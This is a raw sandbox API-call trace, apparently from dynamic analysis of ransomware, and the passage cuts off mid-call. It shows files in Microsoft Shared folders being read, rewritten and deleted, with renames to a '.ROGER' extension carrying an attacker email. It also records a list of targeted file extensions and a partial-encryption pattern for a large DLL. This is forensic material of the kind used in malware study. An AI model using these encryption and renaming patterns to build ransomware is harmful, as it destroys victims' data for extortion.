[0057.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0057.164] GetLastError () returned 0x0 [0057.164] ReadFile (in: hFile=0x370, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x774, lpOverlapped=0x0) returned 1 [0057.167] WriteFile (in: hFile=0x410, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x780, lpOverlapped=0x0) returned 1 [0057.168] ReadFile (in: hFile=0x370, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.168] WriteFile (in: hFile=0x410, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0057.168] SetEndOfFile (hFile=0x410) returned 1 [0057.168] CloseHandle (hObject=0x410) returned 1 [0057.168] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.168] SetEndOfFile (hFile=0x370) returned 1 [0057.169] CloseHandle (hObject=0x370) returned 1 [0057.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.169] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0057.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.170] lstrlenW (lpString=".doc") returned 4 [0057.170] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0057.170] lstrlenW (lpString=".docx") returned 5 [0057.170] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0057.170] lstrlenW (lpString=".pdf") returned 4 [0057.170] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0057.170] lstrlenW (lpString=".xls") returned 4 [0057.170] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0057.170] lstrlenW (lpString=".xlsx") returned 5 [0057.170] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0057.170] lstrlenW (lpString=".ppt") returned 4 [0057.170] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0057.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.170] lstrlenW (lpString=".zip") returned 4 [0057.170] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0057.170] lstrlenW (lpString=".rar") returned 4 [0057.170] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0057.170] lstrlenW (lpString=".bz2") returned 4 [0057.170] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0057.170] lstrlenW (lpString=".7z") returned 3 [0057.170] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0057.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.170] lstrlenW (lpString=".dbf") returned 4 [0057.170] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0057.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.170] lstrlenW (lpString=".1cd") returned 4 [0057.170] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0057.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.171] lstrlenW (lpString=".jpg") returned 4 [0057.171] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.171] lstrlenW (lpString=".doc") returned 4 [0057.171] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString=".docx") returned 5 [0057.171] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0057.171] lstrlenW (lpString=".pdf") returned 4 [0057.171] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString=".xls") returned 4 [0057.171] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString=".xlsx") returned 5 [0057.171] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0057.171] lstrlenW (lpString=".ppt") returned 4 [0057.171] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.171] lstrlenW (lpString=".zip") returned 4 [0057.171] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString=".rar") returned 4 [0057.171] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString=".bz2") returned 4 [0057.171] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0057.171] lstrlenW (lpString=".7z") returned 3 [0057.171] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0057.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.171] lstrlenW (lpString=".dbf") returned 4 [0057.171] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0057.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.171] lstrlenW (lpString=".1cd") returned 4 [0057.171] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0057.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0057.172] lstrlenW (lpString=".jpg") returned 4 [0057.172] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0057.172] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0057.172] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0057.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.600] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=1831424) returned 1 [0057.600] CloseHandle (hObject=0x3e0) returned 1 [0057.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0057.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.600] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0057.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0057.911] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0x0) returned 1 [0057.912] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.912] ReadFile (in: hFile=0x3e0, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.915] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.915] ReadFile (in: hFile=0x3e0, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.919] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0057.919] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0057.919] ReadFile (in: hFile=0x3e0, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.935] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.935] WriteFile (in: hFile=0x3e0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0058.076] SetEndOfFile (hFile=0x3e0) returned 1 [0058.076] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e800a8 [0058.079] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.079] WriteFile (in: hFile=0x3e0, lpBuffer=0x4e800a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e800a8*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.081] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.081] WriteFile (in: hFile=0x3e0, lpBuffer=0x4e800a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e800a8*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.082] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0058.082] WriteFile (in: hFile=0x3e0, lpBuffer=0x4e800a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e800a8*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.085] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0058.085] CloseHandle (hObject=0x3e0) returned 1 [0058.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.085] lstrlenW (lpString=".doc") returned 4 [0058.085] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.085] lstrlenW (lpString=".docx") returned 5 [0058.085] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0058.085] lstrlenW (lpString=".pdf") returned 4 [0058.085] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.085] lstrlenW (lpString=".xls") returned 4 [0058.085] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.085] lstrlenW (lpString=".xlsx") returned 5 [0058.085] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0058.085] lstrlenW (lpString=".ppt") returned 4 [0058.085] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.086] lstrlenW (lpString=".zip") returned 4 [0058.086] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.086] lstrlenW (lpString=".rar") returned 4 [0058.086] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.086] lstrlenW (lpString=".bz2") returned 4 [0058.086] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.086] lstrlenW (lpString=".7z") returned 3 [0058.086] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.086] lstrlenW (lpString=".dbf") returned 4 [0058.086] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.086] lstrlenW (lpString=".1cd") returned 4 [0058.086] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.086] lstrlenW (lpString=".jpg") returned 4 [0058.086] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.086] lstrlenW (lpString=".doc") returned 4 [0058.086] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.086] lstrlenW (lpString=".docx") returned 5 [0058.086] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0058.086] lstrlenW (lpString=".pdf") returned 4 [0058.086] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.086] lstrlenW (lpString=".xls") returned 4 [0058.086] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.086] lstrlenW (lpString=".xlsx") returned 5 [0058.086] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0058.086] lstrlenW (lpString=".ppt") returned 4 [0058.087] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.087] lstrlenW (lpString=".zip") returned 4 [0058.087] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.087] lstrlenW (lpString=".rar") returned 4 [0058.087] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.087] lstrlenW (lpString=".bz2") returned 4 [0058.087] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.087] lstrlenW (lpString=".7z") returned 3 [0058.087] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.087] lstrlenW (lpString=".dbf") returned 4 [0058.087] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.087] lstrlenW (lpString=".1cd") returned 4 [0058.087] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0058.087] lstrlenW (lpString=".jpg") returned 4 [0058.087] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.087] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.087] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0058.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0058.345] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=11656) returned 1 [0058.345] CloseHandle (hObject=0x3f0) returned 1 [0058.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0058.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0058.358] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.358] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0058.358] GetLastError () returned 0x0 [0058.358] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x2d88, lpOverlapped=0x0) returned 1 [0058.368] WriteFile (in: hFile=0x40c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0058.369] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.369] WriteFile (in: hFile=0x40c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.369] SetEndOfFile (hFile=0x40c) returned 1 [0058.369] CloseHandle (hObject=0x40c) returned 1 [0058.369] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.369] SetEndOfFile (hFile=0x3f0) returned 1 [0058.370] CloseHandle (hObject=0x3f0) returned 1 [0058.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.370] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 1 [0058.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString=".doc") returned 4 [0058.371] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.371] lstrlenW (lpString=".docx") returned 5 [0058.371] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.371] lstrlenW (lpString=".pdf") returned 4 [0058.371] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.371] lstrlenW (lpString=".xls") returned 4 [0058.371] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.371] lstrlenW (lpString=".xlsx") returned 5 [0058.371] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.371] lstrlenW (lpString=".ppt") returned 4 [0058.371] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString=".zip") returned 4 [0058.371] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.371] lstrlenW (lpString=".rar") returned 4 [0058.371] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.371] lstrlenW (lpString=".bz2") returned 4 [0058.371] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.371] lstrlenW (lpString=".7z") returned 3 [0058.371] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString=".dbf") returned 4 [0058.371] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString=".1cd") returned 4 [0058.371] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString=".jpg") returned 4 [0058.371] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.371] lstrlenW (lpString=".doc") returned 4 [0058.371] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.372] lstrlenW (lpString=".docx") returned 5 [0058.372] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.372] lstrlenW (lpString=".pdf") returned 4 [0058.372] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.372] lstrlenW (lpString=".xls") returned 4 [0058.372] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.372] lstrlenW (lpString=".xlsx") returned 5 [0058.372] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.372] lstrlenW (lpString=".ppt") returned 4 [0058.372] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.372] lstrlenW (lpString=".zip") returned 4 [0058.372] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.372] lstrlenW (lpString=".rar") returned 4 [0058.372] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.372] lstrlenW (lpString=".bz2") returned 4 [0058.372] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.372] lstrlenW (lpString=".7z") returned 3 [0058.372] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.372] lstrlenW (lpString=".dbf") returned 4 [0058.372] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.372] lstrlenW (lpString=".1cd") returned 4 [0058.372] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL") returned 73 [0058.372] lstrlenW (lpString=".jpg") returned 4 [0058.372] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.372] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.372] lstrlenW (lpString="ACEERR.DLL") returned 10 [0058.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0058.373] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=43408) returned 1 [0058.374] CloseHandle (hObject=0x3f0) returned 1 [0058.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 